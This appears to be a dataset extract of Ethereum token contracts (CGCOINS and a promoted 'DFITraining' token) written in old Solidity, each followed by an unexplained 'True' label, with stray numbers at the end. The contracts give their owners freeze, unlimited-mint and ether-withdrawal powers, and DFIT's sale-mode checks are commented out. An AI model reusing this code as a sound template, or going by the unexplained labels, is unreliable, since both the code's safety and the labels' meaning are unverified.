accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Genie token smart contract.
*/
contract CGCoinsToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
*/
uint256 constant MAX_TOKEN_COUNT =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new Genie token smart contract and make msg.sender the
* owner of this smart contract.
*/
function CGCoinsToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () constant returns (uint256 supply) {
return tokenCount;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name () constant returns (string result) {
return "CGCOINS";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol () constant returns (string result) {
return "CGC";
}
/**
* Get number of decimals for this token.
*
* @return number of decimals for this token
*/
function decimals () constant returns (uint8 result) {
return 16;
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance, this method
* receives assumed current allowance value as an argument. If actual
* allowance differs from an assumed one, this method just returns false.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _currentValue assumed number of tokens currently allowed to be
* transferred
* @param _newValue number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
/**
* Burn given number of tokens belonging to message sender.
*
* @param _value number of tokens to burn
* @return true on success, false on error
*/
function burnTokens (uint256 _value) returns (bool success) {
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
return true;
} else return true;
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens (uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
}
return true;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner (address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
}
|
True
|
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/*
/DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/
DFITraining is a blockchain distribution network that facilitates
communication between university students and their professors and
academic partners without intermediaries.
Support the developing ambitious project now!
/DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/ /DFIT/
Website: https://dfitraining.com/
Twitter: https://twitter.com/DFlTraining
Telegram: https://t.me/DFITraining
Reddit: https://www.reddit.com/user/DFITraining
Medium: https://medium.com/@dfitraining
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DFITraining is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
uint256 public tokenSalePrice = 0.0001 ether;
bool public _tokenSaleMode = true;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("DFITraining.com", "DFIT", 18) {
governance = msg.sender;
minters[msg.sender] = true;
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function buyToken() public payable {
require(_tokenSaleMode, "token sale is over");
uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18);
_mint(msg.sender, newTokens);
}
function() external payable {
buyToken();
}
function endTokenSale() public {
require(msg.sender == governance, "!governance");
_tokenSaleMode = false;
}
function withdraw() external {
require(msg.sender == governance, "!governance");
msg.sender.transfer(address(this).balance);
}
}
|
True
|
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29464,
11890,
11387,
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21948,
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1035,
21948,
102
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